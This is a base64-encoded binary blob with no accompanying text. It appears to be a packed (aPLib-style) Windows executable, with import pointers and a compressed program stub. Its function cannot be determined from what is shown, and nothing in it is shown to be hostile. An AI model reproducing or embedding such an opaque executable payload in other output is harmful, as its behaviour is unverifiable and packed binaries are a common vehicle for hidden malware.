AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAII+AgAAAAAAND4CAAAAAABMPgIAAAAAACA+AgAAAAAAcj4CAAAAAABkPgIAAAAAAAAAAAAAAAAAvD0CAAAAAADYPQIAAAAAACY8AgAAAAAANjwCAAAAAABCPAIAAAAAAE48AgAAAAAAYDwCAAAAAABwPAIAAAAAAIA8AgAAAAAAjjwCAAAAAACcPAIAAAAAALA8AgAAAAAAxDwCAAAAAADaPAIAAAAAAOg8AgAAAAAA+jwCAAAAAAAQPQIAAAAAACI9AgAAAAAALj0CAAAAAABAPQIAAAAAAE49AgAAAAAAXj0CAAAAAAB0PQIAAAAAAII9AgAAAAAAmj0CAAAAAACwPQIAAAAAAOo9AgAAAAAAAAAAAAAAAADIOwIAAAAAAAAAAAAAAAAACD4CAAAAAAAAAAAAAAAAAN47AgAAAAAA5jsCAAAAAADwOwIAAAAAAPo7AgAAAAAABDwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAQVAzMhgAAADx9wAAY0+QtwD+AAA+u/41TThakDgDZgIECXH/gbjCkQFAwhXG+AkcDh+6+AC0Cc0huAFMwApUaGlzIA5wcm9nZ2Fth2NHbh9PdOdiZa/PdV+YaQZET35TA21vZGUuDYkKJExEwQFOT1+FLyEMWARGPiB8KocIRy4+fiKGGoxXsggnJCDGzREfiH3EEJXP/YiEZPpy/xhSaShjaFCNvEJQRQFMAQXA+1Yrf1oUHOADAiELASpnIA2IARAvowUpCTAPIgxBApp0ASMUCKMxKREECxUCDSkQOCMIoQcMkP0IaMgR+JFkbNhW4OdLocwwKrTnIoS4IEn9rPRKqLQw1g4udGV4cRVCH5HQ7IoEVNsBBmAucmRhdMsVEgbS/MzUCSStKDfxNS4nJwJcBohQsZMCdBloKMDOoHNOYxBB7Bn0Eij6lVCBcmVsb2MEFfwEkSgh/FlCwp0BXYFWQzIwWNOfQFWL7IPkCH9TeVd6/D5dDL1FifdABBDTD4Vhqw2JRfiYJhAM/I3fEhlDRHMDeyRa6M1Ag8QECz/AdHc6/v+AfY0MdotEj6AQWVZ9VQ5rEDPbTsmO0s/2FwNa0F1eYbE1P3hIUzyPhDZNZFYa3TMIG4FqAYXJ6Gi8tbwE5dgMEA9I5nqDJ7A0j+tcjKzd1SOtDoNIBJ+UAQ4oFXgyav+mijFdVxdgX15bi3zlUMPmTDwkCL0pjEEcUAgY6OhTZSUswgIazAKqBAFHagwEaCYkEc4K/3WJChIePlMJewT3QRoXIlZ0KIOdJBQebGgQHlDbUgjnR+jqUW0zndBUJDMJArhJXsO3sSfwVVBq/jBoLLdk/zWkve6JUSUHuDf0YlhicAxER3U1f3xjKA4GO9QPdiWNNALtDLOJrriMSD589UGqdRIhHsaPNZSfTPuG/1QSB+u8ZI8FCn2VEK4BwzPAZIsNQBCBeQShcHVCo1FBS1LNOdkI7QVNvQeTsbuEEegQ61MKCRmLTcRLjgZDBMBrDFVRUBxYWV2SW0QYi//MGyCD1IcP114x9sMD4BxkJqEEFm/bEpww/Dtd5nJvDArGcwf2NOnmwwrwfq8S/1hDIEDpatQjwQ2JVYJFRQqt+d0BBDvKc2TleL2MPgPAQvTAw3jXduS7fSicdKc+RvjnonI+osZzQYLFEBahm/OB5sHwsJqWhcl+HQ45NJgYK3QrA0A7wXzyjVB+VRzIDOA4AlODz/9XQ9X0A4XAfIzRGOt5Uo5XLCAPGI5z/4XSu2BYeUKL+4c+F4VM3TRfKWBQKo1B/bxx1hAEA0h59AV9ER+wOooHQYmKbEfrGwJ0GI4mUxKIFJUpAIs5QjvQiTHu9zB+7tyHA+kpC/+qseSE2yKBJX0mDgHWYM4P9kX0zCR0WmoD5GaBOa+MKLqKQIk8A3/BSzhZkSKpFjgZeBgLY50RK9n6QSYGgDK3SBSNTAF4GCqGiDKgLthySBPSDwgD0CDacwr2QTIngF4SoHdAi8i6pOIkhworCXVgMz94FAvRfhONBmwUGwE5MHQISoPo9oX+fx3eAHUtag9bO3vLFQKL2dQi20YEIDgQ04kwkf+mwFW5XejpJmL+3IvHaGvJw1PMAZIhLeT4z6gMoXxMn3dINAk16BUjNoB4JhuJ5jIsiJAJCIUB9nUW/xUgMIUci/CJWCUkdBSxNyjI5lbINBxIGKZ2pBME0KOk16P17kX+OwUFRKG8BiEVnC07D0TVVhYN1iG4MIUIocgiCQyXa5EOIQzrExghypgQidA+TCnZyqAZFFBWDRbLEQ730OIK8Ve/J5RGpn0kCJB/EkhPeQvABg+2EEB2iZgwewcHygPSwelxg+EB9Dx5rR/BdcOJqIlU7Z6OXuRQ05AsigG6QSwz20EH6I1ytIiHrYfg1P+Bk130zHX8zwbcJk3YbkxPcX1hCqwRjXghrQMRwiCv6EzgSR2EliDDQ4l95H9JiL8HqbFBoSEpTLbgqSy7whoXTbJI7CJ0R4KJjXNgTaQk4VwsB46Fdj8BHFhOdeKLzfykf1gUdPIHxivDigLpEa+LTAYQC4szaBliw2tBXwEBAtHrcUdBoF34YYi6ogkti94GjysaBZCKA41bBfIGRk7nSmry+Q3su3XCo/jp0SwRx1AgD4gU6cDMC42c6E1pm2DmdTyD+HUCUDIRWIoGityikPA8dH2EzitN+IFQjUlLVlEJ/Vr+S1XOWizrehwdA3lmCgIb5/zB41AIpwE9QQPFopefMegKnYH7wX2o2otkQBMFc4AV/3MDyWjXwqTMB9Yr07D/igqNZFLUDiJIGhqsGWwORYgkX1WJ3FXIANaDffSQGDOELscr6ehfITUoedN4YFOcSSZZkyxPj1eH/9bj+IWpdQVSCaFm3aGPEzbvKaMPgAQz9us0jXxPTFHvI1CW8EEDIY1HASg1BFboKBe0OAyW+J9XtKYZCE4oFNIdJJEHkE01idKNRgcfQrM9dAojaKj8HRXX7n74uK4MfCRCzJISGcyWESlo2BMe9w0bwAhXJbAkhYwZnGOZNAYwAiwEKAgkECAgHEAYFIEQR9XWCPhZxHIXaNwjCvg1GljxjHhdaMIU8NY3/+tkbfUO8TX4nwg0OEoqBWgc/FEIfqxXpXwxeOssTqimWeEgj3R4ID1FMM4c0MvoTGDA/zVQwBvOlBYc6K0SMzLQPs4kkCcRoAQgvRhFf0jwV5Br2hJWWEokdDn1kWA/ashOQD7WmOGYjXXyNz3kGw83AknP6D9wjXBqph4oxwU58YkDXl+cQsiJPIZoFP0LKNATKYQMIcgRiFT8IJhCNDo16g3QhAxoPE1QOlNbG+JkuyEhNyjPixxiQGBj6CtaByICo5q2oXYJ6DksmZYS0zULlNqjMKEooShmhFfAors+mHyE6eZS01BWCot88ZYCmFcZHI2WJkMox24vpRgRFAGMcCiIZg9m1hQsHUI0QKxAikkHCFizR9x9cTsgARBQaHSpwGpBOzgCVy0KJkUXiQWyBFksyiONfOqRNgRkFQgIUJJWRWk6BAkzSJpgaYUJZFFflhxJieCH/8rnceupAITihIM3+QxxECvODRjICSCHKFFSKSKyzQsJglhq/8ljRBbhMgxQGUxmqIpoUqhLXy1xKBCJDA71CBanhJQ1jKvZmiekriXHRUR7K3Vd9gSLDezQC4lF9JZ0BSJoiFTrqs8eaZgYtteLKsiJIs0+dFiDTI1V/FIpLNE2NyDUmcRDFGcphqMIExqJFQwNwbahoxtckfwhH8QbOl4GNlBTsiyh7KDFHCkv7hRSoxwBdAuNTfhRmljQTyX3uLXUbHzETfzDRDsJOF8PlYBLW40EhbaBhIPIAacflSCQnQfBxkX+CBnwDvTDUAgVUySL2CwW8pGUFQIFhsgQRA1XJWoKIgAIBgCKTf6LSsMHBQ+2APaAwPmjlKl0PTjYn0k7ZgbO9C5z0jFE1xhniQYeR/gHDgKKBlHBAUOfKvgD+Q90WSkuAz2AdciKw8ZGFAUBKoNnQ4inBPMTQ7FV/+d/zA/6D3VAzwMPwe9F7ENiwNlNjKjegaMQhO38iGrY59/2xfx0DUGKI0NMhT8D6znANl+IBiq4D4+UEWxwwjOKyrJgKuwDudB+dFXBmi7QDCid5x5GaqkZimX/kkBE67nLQXIDsAi60IN3wG2n/7k6B6AYj+/Pv/LqBoiiy6Chf/0u/PbPPWlGALR0BDwBuOA6gM2Z6xMq9+kODiADcwg7ff3r1wwBEv5MBFxJ4ykeYhQQ5zxGhiQHPAU9N3UKTw7KBMQdByiVxRaD78GnHU/NFMx1McdiD5Q5AsZFAixiBzbrIEnUZhrFDKVRBoSNIQLrgfEFGIp0ZpIYAIhl/ITkdBMCmA2iX61bdDxIDMQD2O4goOkMdAEJAtKwBCrCvCy/ihwkAzYPBgF0Fipd8ALIlURA4F4FvsUgG8TG18klsHYLyQ4ssITBkVS8zGBLfW2mA8AAPOt1QYB5OwKQMjsMAwQ1CAQAL8YC6YpByTh/IG12EivCJwX9ALMDwYlCTAGzzMMkgynA/RBhPOh0IBTp6APeyO0Nv3KhQB1pFcCNGFNQJVQgstqyYLD6Neh3uOCaD+bclRBs9FewqRzoi87NEf0sYnhQ4cGI9kVf6Ag0t4mD/wCkCYA+zMgwqb8sfWE/qCUUQAfDDHQR6zwYA/g3oLhF7HuAPTDCCi24AVaF/OsjAhSNDDCk85CHN0fMQRIPt+250nYpB2Y7wdcFWyqTIRrX8njPXhhBrSvejUnC0UqBRAv/SnVgGV1U+IaA2njEjLaOBqn1BAelJqX8MSXKaKED3+THtEQ7qvfGd4MKBQ+CMtqlbF6D81ISgeWY8FO44AX5aiNokKTiX34kJuhWOISLTwGxaNnT9ckle1aHGgkEiEcFoooIX07K6FfA6MhWjXcGqa4WaPwmEl+kyAUCjXaSkf/Ql1pJD5E1d5HosBeJCokdxMHArCvBg+gFujlQ6aX1uLo2/FC4rjtqQLpRJ/8QAwdeWV+E2i4ELseB6rnG7ELpktHsQ7ruVQvo6QFgL/gUiEEEPx3/dSgrxRB3ARpCfJpxFOqJ4FEvSR09yNqDzkj/9yf8OeDXDIv3CRO+TdEN4IwVM/bJPvjCvIDDgDiH4gpGgINHO/FyB/PrJmvekQPaxs0BL0lIHELDWpQky4l8Cei0KiUvosAaBYgD0XMnltfeZUKQBldr+UfagndBIjmSvmxjBUTciQa7rtLHExWIjChQFFOLHSlR2SCtc5gL/WSQS0gFb6eEySpSEMhDlXNJyqFDIIYcxgQHE199Ajn06c557UnMXIGhaD9drdZH0sJkKCFlowMwxwXg3LPOaWAIIs4idZRPJoBUS1HIhwbZDMR1cIQonZv5sk1AnukB86YNUKyCLIwSCAviDCfLTYODwX4vK+vYuSWHk/GgSjwDyl+6S+NXAkJBGME+wiGjlh4CJEjDcD8GJxSNWRgOLnkGug87c5y7yIPTXACZyULH/R4AwY0EB4CLVMMM4fJyCuFE4kFewunw6/NBOzzPF+JfI6jDeUmhJUzqw4czCAwWDkyFMLIIkn1jNOlHPIpUTDiDl8qAuk9461cUiH+4K0SbjUuP0VADyGHXELgJ6D+yjsamByAeO40cX0rsLhEMSyQhNH0HUCENW1wYImI2TfzpBS7pZDCDi2EOOkvoBqY32glo5MTMJhWYy6RsxxR5BzoCuQ3YXO5h+Vtl4izLy/igR0kc6NCVLZiWtHIeD6YJUgZP6L4ly1Bfug92smPsgZKkqaWrJTAAhWDT2wkn8AXbUBCIoxdrCsi9xzKFXC+UqCEKIodCcCi9LpioMR1oG3UNkR5kPAKPBGoFCdOPWrCScjNMJdY3DVRJ5If4ySSJDO0q8wsPbwU4kBvQuWJKwb4I2NqWXjEufwdCG0gsGUfrQg1YOSAIaI5AMH76eIrQmvpANaGAFYArSIv6IPOlPPikYciNsimG41aJBiA78FIORgjHds3Z6RhswpfESWGyg36yIhUGDFIM5k77QsJcKLMXgJD3V4kIoqwaDGFk9JIYX8vS0mUgoCimGrtUZg7WWksgf/mD+gEydXmgnCmKpRULBFBgzMYHXmgb2xg9Igz+o84pJwYQkPghChELyAgQD4gQ5PwIFEQVd9gIGbiRGlCtSN/y3h5L0Lh6e7TbbPwCmJFFtBiCahIDaPijokVNkXMDbSwQB5LtMhhmCMgzCkQCCg76Ff0ZyviL7deZEhSdBEocIgxTFwwoEJciG2hSHBBRtvUITSmf1yR9UjaIFJQnvbIrJC0tKG9baaBg1mhteHWYzgJkofZtSfvoJMoRiJ/LZeiEJzPBxn3YkgbMFobyFWQU3OmSSA5aTZ7uJX1riGysgRbU07zYWy1hMRUwUhfQQerUkRiAIIvBRnRijU3cUVa8P7JcqiM5ff3EfLbiDODrSdao4RXxZyWY8axCBbyG3aifVXxD6GaDGfgJdWICHWE5uZOiYY5EtRg+SHRzDjN1F2IYMCbcDCDrCcoKFAuZHAzkYdTk6HRZ+6VtPiL4g8AlQAMlQxydXS5Zc+AQTL8gpKhFAiKzMuQG3Pr9RXgDGOps0cV6IIEUopMJ/0IqEAQMac4nxpVoltuSaz9CBAJpI+iV4dgrNKGsqokg0HZxjaAm6PZO/EoOHDw4xWRLjas/vKHnAnPBlF4ldGbE6mQgI4RCg33g4T8kIDTYKFBRLD1VGJYUCoeMhPviX0zMJdhBtxQR6y+VSMzrcqzDobJoflBv+8hUrF0q/C3rC8aK+zEOIQw1jNN8A/GTrvAILw1J5hA4whxCoihhVzAQUzPb32zswmCLQAxXmlAgXfBm+BgUEmTkBtwJ6FKgi+WSAgKNm4Aqi3AoM3/JE7dQJNhAij8GwYsNPGFAQHIDe4MS4IHCrQV6FshGZrAc4/z5CVu8SmqFAfMfOdj82vQEi9J2g79GPLBEMHgmA8YSv/eQWT1YJL7+pd6REBfqcF0KigrrBnBBwcgNOPsJD77JDFQqhOx1AO89jk4O7HQV7qod/A18/X4PVMqvkc8HwO/O4GB1UHiYC5GkAQyOA0ocVSgFvYsBHmVtBVQFJpoW8OtVVDwYG/iNFTlQRhsj8EUeImQHkRvkGjADG4PHBObDTALv0uSw6Vitr4D5XWj6PMoip//CuwKc/UFUQQEyIEbsmyRV2AZDSiSaekHpzvhN9J2HAHLwEIoEMpIKOcnBSQCJwAJUigLYnWDvqrgKTFMwdAgQGgZ/mFhoNfn0FNj6UKAECoYDQhwfRXWHUAqnQejrD0woB6QRf9xSw7ZhauBPg5ZyAgxcBPlmnF8Jiosq+f8knyQQCnQUgpsQKMMMJxzkkcnoBK3QaYYzD5r3+jqYQ5uRvRJ+PBK+Ajj0/3de65/TyVdUiNEpE9LA5/Ar8bzixA42aoCqXwbGCEcUwUg3NQosA/hZDhdLz08073t7d6LneP5REesCNEHS9kFOBiJyylooqJDUYoy3gNQETFrya4kwWDmRoxx8IlBJ5cK4jUhV7zk+KNggSfpvZ0qD6sYTTXSwRdsiiwPCyXkcskN43PEghhgdeCtMGRARHCBCiP/OQYTDITX6g/XCAjOXU5j4P5GJz1mEdAMi5mKadbqQj8YUrH2kPYCV8isEdzSDv6SiIBSEpqGGj6ANJAPK0wQMjUGIaIvhSanaL1ax7gbwsuxZBAjR73Re0LhPZotzweToSgwHQQp14YHh/y4ArQE0Ees4yCMD0ScXh3WIw4vGH2YQZtsELrRWClkKF0+aU0qOdFMNpYv6Ue0DCF6Fc1x7K5CAQrgTdyiyrH+QKIHt6KxkhK8JQmI7RNVIeFYXdF8dEOVDdvYyNUgYjbGV1yAwFFxHC0y5zvdL34w6LTewCKiAixaq10K3isFw6RXAlzsC9nQkR0JQZC/4fQsMcs65WdEkmiyuklGALzr/0Lm1NcJXFbXqBrH0n5opCoiiZU0dtpcIGA5OM9K2JUhAgQ9Fyuu7QsDkkjvP8DKCDP58s+QGgOid5ZS+OyDzxNVCV6BNGIa1OQkPGwt0CldZAU1Y5aNqRoboNd3M8AyI6teKzIteKV3DcOT/hSUEsWgY4cNqNf+EzwiUDD6bJaAbIQykkKjIrLhTAfvJkFZLGagJfBQMAUwRXssJTqZmWglEZniJjhKkJLBIwpHWIuJE7gLhmWAYCSYSOiRISF6RdiKERJo8zKm+Ec7ICd6R6nDMKRYJJImqwrKAiFWYxjoRZjAJzjlk2AniSO4huGBBUDMyvB6MpG4IahwrhC8Y0BD0LQPYZU04WpCYA2YCAAQJcf+BuMKROgFADxXG4KkcfqgQ+KHACgwOl+upjACHY0duHxBPdOcAr891X5hpBn1EEX5TA4iJH0zAlQHTXavRALIz+FgEpz4vP0gxAREMTf/i2vAUMj3GgIAf3ODTENDPAtKI8mXvMmBfmQgJ7QxSFH59AEhCpIRQRQADZIYGgO9Wf+RaHxQ48EAiIAsCDDIOEpAbnn/HMBrK1xDwiIABog4MZQIGLjQnZwhgcD1SBHgLAz5g2jXIB5AQVIT4IPa/AGR0EdRKjJlsAHbg5xNAEgpIAgw9VbSnHsDizKAHBihWAh9pfNEAc3iIvI+uAJGE/FYEJIwgEv0uDvm8AFAU7iZUm6oAKwmUKEZAB1IALidwMsBjC9ADTCzRuijw1//ApCmC5DId7EMxwBG+UFhyc/hjcYoeFBzIwJTMKLhlEJfAgyQMPSzogJDOrELhSwEArsBAU0iD7HQAIDuL2abH92wAFMpx6GMlEYkAAzAWwzjEIFsB7MylAbJdKNAJ6AAERySDQCApRfghD8xwXDOBGApsqfhXSABZ6cQGDc/R9bhoH+zf6ESu9wKuQI+Eg2qJdADxMEyACzhEjVx3Yw9oHyhgww2hdl0ACtPoUiQOHPAA8WB0POCNFSgAg5EPOcjo1BcA1d8GXyAMz3c/GIQAPh2QbMfO6ACITWaMugVijy5BGUAE/qVPwDzD6EQAMDsG2HycTIsP62RIC4AQrjZACgBqygjH7EJfw/X4VkFxVQC64wxK6jP2sgBUoclJ6c1IrAAoowUU6Ht6pVDIu94A4t0jsNFdAYQAzJBgCnzqaKEA1mTpcE3b6ygAHzDckJKH4IgAyb5iciMR+BAAD4TvohoFxRsfceSn31JAFBnPqAaS8JUAEiEKQfDog0kJP+HLZYCqrGcgkgAIfk9ubRhN8DiQggC1zEUzyc4qAMB4Wed2qT7YALAxK02LxlJJAER1pBhCwNkqdc0TVLeB4FZMHyA+5gcO/0RRjfgZ5AbACnJ/1MyeAFbHQUzc7wA1pP4YdC9JGTwDeYCQylX/gBSNAAtWOihEghboAxh4SfMBOJ/A60gFewCd4BINwL0xlwCZIggPH4zh/i5/aqQCqaC1CmHGSPxokfPRYNDGBAJAQV1e3o/D8rywcw8BhgOTvVMicSCEhQ9lUGT5oGtYuQRSADGIMmAk2kaLABvojGol6QVdAbv3hI0N1o/0AdcH7yN4VWlwvduOFgE0RdSeGiZixGMyHgPLBkAZqJxbFqAAQQ0MiyN1rTIAIsdkq5D8hP8AIZmOHM6Y2BYA5oyBjXCr6CR6JgD6Yu+8glXRjACDQj3idhskywBEh4n4aZQKMjl0FYDOSbVB+dYlB6MET4JwSQCkw8lA1xwvncaABXilJJJgByJJWGS/QFAdEjgCXxMbYoAIQNaB7ACURLLYjSMz0gCxSgIk1rvpFAkbllbY4B6Z2gKiujPHRA7AYVfoA6M9A4F1H+Ao7E70NwHuFiWcJCxj0MSETJg+HsXhwOIoDPfB+x//AnSBFzvPEhPgRQUAOb4ZIlDQ6O10ZwAYW8/LqlZTRADMM/tG/VE0uD4ILYBb0ANAVVNB8dSE0w65qcSwbE+Q6EjVUgktDbeA8jMG2w8DEAWGE8QO8I9SXnngfLcAtRUeiU0vghEDRQfysyDh0BeINFAN6mbkigC99BmhFfKZRQAnQ3UWKn7negG2VI8gTWUzxO8IADtznojZ6156ABQFiVUHDDPfAFh/yM1rgUG5ABkBAoplhYOdfLI/WSmPPcCIbsYgxPcxCckAwWSTgBmJXWc/BncBfwiBRDIXxLqKHjcrNgA9LLnIDmEAtCSoUwi8wqAAIejwZ1Jy78oAjEtObKivOAZyxgBGCAlEEBiJIAAU0T1Nx53ZZwB0BiJKRO6fyADOS2gdCrkBGwDsHHcsi/u4FAD5OIZV38WKXfqZAIcEiyFyEo90AAJOx99u0RykACKGZsplf0jFAG8kOx7XaTmjAN6d1OEMdGoUACJSijo2iVgaAXbNkxWqSaHwH8MHamTxIuiOoKIxdSxMAG5vhNpWtwYrB8fthWaRIIsEAxBz6wemVlEx16A2IhiNOUInAM+MNxpxiEULMlDA8YGlY9A69MthAKkwJ7yACRiylQFRQf/BQOTCM/oAsGbx7IDgfx8AwCjI08dJOwEAwnLiM313uWkcHUXcBgfoXrY8kr78ANm3VhTW2xJSHw1kZo7TyqDYxSYIywM/1GAxgcLA2q5dPWbDgMrAQcskMDMA9zKGSGg8I1SQ7gdcRASb/Meq0J+mehkA17pYI0JJFZoPEEwlywHGJjGw7ARBlUCiw+YBkIaLwkwM0WBBCHehuEcCWCngXLQaYLjCGx8R7GIEFJYd6wBsHuhoGMjkWQCmkslvzCW50HEIABCZYBIY0t8gJsqheQeGZaBg200oiwDQm3X5WOqHLhzxCwRAJEGIaUCwBh/jLfDEFDnAWw9NjRTgAT0xGHID8ELzRaLy2IccJABmIzBzkBNcAwChVIr3SfWXYPxbAgFCDwe+DMB4zu4EbMg28d+APyQOBHMxLohDNxeQAIKB+UeCyQeLhCTktmBw2yB9AGFJK/qQRFXIAFCOYhQkZUMBACM42B+9BBqoAJhvAxOsQhsZPsaKTBI574AYxC/AJYHyAIB9CdjIDeHr9gP8BATsSYa9O8CKQjJEMBeqEv7CIDzJdQOL2wi5ecjrMVt4EA9rGAFzXMB7KALjQo/t5GmJAYbG+1BAnPjUzfIA6YWSfg2WSy6YUQBWwhTvUohYQR1gM+0HBzBEIPUBslYAWrpSjiLwgCwAESCzlwmrhkUAtgx1BJLrS2ewJrw5BlgYpwgLFCkjAoDYkqTIXNaSB7fkULe0wNaalp58jLgmAIUnJAiIBUG4AI1XHCBUqmfhmOUAvBM3RFHUXLPkKXtgD+uJoE5AaL8Jnxd0ynTQXESPAmwhSv21YWqoyA+EOp2iAFzt1aEkGmEAOjINCHV4nTEEBbP76xCAWaKIBwCRqUmHErq1zAA7QFG5PgGJ4gCFKf3F2GIkvB0KlEABkYRMjsj0CDAfh4qNhZ0UAYBT6FBmANE/iSgbZWuyALNJEiaGcX9GAFUK6EUaG5E2A8hWCA1Ki+DdGPEABRZRJ3LcX7c+u3o8OICT97FFijy1SBMAcgDQ9STh83YdUOD0CdYiNqqDhR4hgMnHLADlqECZHBIwFAuwjNDVAEDML5yyDz7SSgYg6NcKZgu/AHBDREWAH6DSdAE5anww4cQxhQ5kDaq5wZyzJhAqwEAt61sAGW1YkTeXhDgAKGLQKwqkupQAMIDyUxIj76NYh58A20UJs4QxAwQgM0IW6MDiB7oBPKIph8s6BgqwyhBQwQFCW1PD5WS9/MxxAMmDXAiVymlC+hH4ggATxR2wATQzS3sGAOVATPwliylYADc6C3UnnDAmALlk9mUNGBpOAP6GhEYQFXTjd6N7uQAev12t1jOWVQAxLuyzUEl9LwAmyX8RrA9MO3nBHIKjE44/IiebuKMzA/IswNOHjQAWg5qIZWDIVX3S6fi2LAXNMw5F9sCK2OD8AP/MDegG8HyIAHf0L2YdrGmQAD2EPFXxjLricwxIMHQAHmSCCE3bAwD4SihqdNj39g/GdTx+ATmA+YPhLfLD8fBqSNIHTplkCejzyOEATGHx+vbBBJEAMpIuSO4DReUA6Z0CFY1BF6gW/UPqAB8++wF2DACAwTaUhgKsKBKVJAWwvQkASeAjg/8sCpYDUU67W2Qc/7BwIQtQsOUAQWNzaVxfdFQAB1vrZBUYCCIcvyQJQBAmp2MWqABPeK3yPeAIwgCgfzVK2KP4OxgQy3Z82esHJzDxDA3DK3fYSWMDAPo7wwU8R9iBAP8GEnM42pBqAKRGoV3OJj+UAD3xKRwMhUnDALhNElAg6Xk8ALE5FIZBfG0wABmID8hKfYBkfZ8AclR0VpWQUE1+iwDh5uh2TGnyBgCKMdpH0wgSRSWkQ2CBIv0BJ8GSL4QcUMzCSgAZrBCvruiodAAVRbAC1zv9cwBxQK3PTaCzkABHnLEJIEULpOvIYaryiQAIvsKBOHVU/wfZSc+/3jDAgNVy7OsFRtDc9w6DZT+YhRlOAKBIoUKAPDHDAtIG6NHy68A+iWUAOt7gUDvqdxoAHbkY2QTwXtgArw4TTIl4hDYHsDRwUAjQ+DH/xwDucoBJ6dJWd3ZEAKSifJRpkWxKAIF9QV/JXtFcAHjqDcHr5gseAxhLLJAQkcAycfoASrBG8EziJdUODn+KCUCCtIfQVAFuwWC+15YVMcfcBf8At59YcLIo7NAFzAs4CUDA+fzodTtLGgdaaGT3b6PtLxLoXhYeFgmxKwC0OkkRr+wAj/AgsHQIgOkATGgjDf11MCIAk1GoRnRAOOgHdzV7Q5omKKB4C/qYJkJU1gAu9CCaWIn8IwBGMPhMAyoeOwDfyYZppAIyNFySHwApKwcLsQhEABLzQkgNzswyBG8QyOLdwI0Zd1Edi/pjQKsgHQhAGADJUBB6ypWERQDpjBaHlA3EfwBLTREadubOMwB5bYQmWPCqmAHoCHjgxnxgcAsgAGjQLHDIMRP2dUsAwAR56BgVhCQsnp8hAOCQxmNFdiyNmBYAvHdPuJSOAAnE6wRwqUaLAMIkok3BuNyRAx6aZBLvCLue6FD8KnqIAIDug3/TEwWMA6wkGxGqgfA7MXwAIPZjtMKJewUABBL4B+93/FLk6j1D3A+3nFngpQSJ1bgDcU40+60VsEIBQACakIs8EIwimACWPxQR3Dr2snsFD/d4ZtaAD7RENgwAu8PpcmWbKKwAN8d1lFB33BoObQiyEyIuaO1gECf/AHmKkDhOhBu57iEAUBJYNnCtNXQALaPkVoS8pEwAeDChC6hTf3QAw0DtFRCsSyEAB3BdBBENGlEAswkSGQhGsC4BC9xNiUuOgsRDGABX5uPnQt7ABwD6q7ng+BUjrATwhHLngcBsY9ggADTgoRjIFKyUHwNwSclbCGAe6BsDc+A+w9B44ArIQQC+ApNn6pCD/B4Gcn8AOIB9D411A2C9F0Ygwuegd2ZR1gDGHA5uBEpjfwKuxS6aB+j+2wUhQzmAT0DcOwBrCOwixjx2/gA0Evd0GaIWCwDoT1mx2grWBQEINeag41tgYJbbAHXKTKmGeEiKAEEc/8ZJ2cUMC8yB0/6AfHKCSPoAIJFKNKrsedkBFEAswpRZiWCkegCg9nFfufohE+QQAEgLxMzP4CJECZLcTFOABmiFMskBSeEgUbiEa+XIMDXd+IIAYrnrWhXVf7AAiANk9TTewXgdQAEz3UXAIDfAtNOgAMORsZUhOzLoABIYGcYHuiqSAIymhizBQ4N0ABxmkEAU+TsZA9l3CQrPYB/0qBvACJ7Ekuan9n0AikkeIHzg0DAA8tU2kv4ih6oLvjFLPA+t51mGUAUhQCByBABQiAtU6NUUmf5uABJRGGSAmKCaBTs1TPYjDodFQI9mBqisADpEuV0TMHfrf9kLv2NeOwDiz9zVAwA5w0ymwMpS0QC9lphTzQ9AdB61OViDomMSXPA1zpIOhLTGLGAbYWhdWwA7MJ7L6G9Q+gM5dVPYDxDA+cfJHbFC60BFwCTw7pEJSKsbUwCn5OyuiwCQmUvBYSE0eDnKy4DRmLG3Apv0AZ6ubrLnpZnkgSIXEpwXALRaRYo5ASaCsAITIACfwDhjeVAAPM75yD54hUEHgT/p/WTRa0O4Kw/lWcU5RwDMRVvru7cA2BQzybI2Q/AAkxNVMDqNRxgAsT4qF5hkZukABvEKywhIpH0oOCOYAHRh4ZI7TwZwALuWivjjgbjoACs58JI+xLB9AYATi0TNAw5A0lT4ugDgHi1zTgZuSgAVMB1ynlzNEAOQROgMvK6Y8Xt/AAMw/jkkCA9HC9ULNk8AisMS6AcA95BODfB7nzsA+08whBaBse8A9r8xN/D+d8QAQUU7Z2DUkbMeUpeUAIjZE7Dq7uzYDqVYc3eAkT9iOshgJBRTUZIpmN2gKkUqf1wAEM4KfKQMTdHwA5go4pkAIAhkR6cNxnE9hI4DWfvJPs6ghbzaANOQRUMpbyvwAH8hl8WLGYKqe1cAEms0vbhyS2X0UwRELVKTOYDm7SbFB3XCQ/mJ0Pj0kjIDaTNNu0wNoEC3ARhGzoT8cjgAmRC4FtIxR1AAHOsDNTtwvHQASBQrFl0QtJAAw0FVl6DrIpwA7Op95rgzFZAANl4IP87opGRI89sAWZZ7FiHgXQAILVQ3hEHKPwBvEtkvMtczFAAaXmVDgmNIITvz7AN4lYlymthSOSwAWEAcL6f8kAkD++HrEUcP2BDxuwBppYKMJUTew6DQyQoA+zyyOjDEqzIASQRDGyvvQBIAuqmdQiVU640AAkrE/xX1dlFxmgAhIoscj5uUBO4QJEQY7QAoEjAkOOlx5T60KvkDQVavIIA6+FtNzvT5LHQRfDiSvJQA40DZgRJeP/K1J37wPgDH+hhfIGKTFADe2EK2A+iICT88EwF3BYBedfCAbDtdtBVSsQDAcOIwp0Mhth2h3cgALIBFOAi7ADpN8Bm+Pmrxe2Q/MEidGndDiYdmEJiAS3F2xQDTUKESQggo2CxYV+UJkb+AXq1QrzwALPyyyLeUoIUBpmtY0EJ1KPBJSnN9AJ9Tm4+aQa6hAJF4i+RfIvkTDg4mBnHnkvHAuBFkkAD0AjjCpqAV6AB4B5rt+RdIlgCESnIUcU6IBrACAAVBkx4JNe9KAFrSaWCAoBGNH0LQPMdcd1QAvtKD6gAw6yDPHr/oBQPnN/w9n9/QSoezB/SiE0tXACBBAcEA4gTqjVBAOAoAZ0UuwMeDP4aQrwMl0XcSwsnAECSfAEh54alEAz4GAC1RAuX8wTLgPQR9gKU6GCd02jUflQtyAVFFMKBuzG8D6HQTM6MKAD9r2SjDSQA3CBHJjEKfyAOpRzN5WyDYBbUtA4BxwQ9XEtB1A1kAYBwwVgjKWgoHgGQV73ZbUPg/zzyAdzKK4GyWWg+2MEoBoFnKg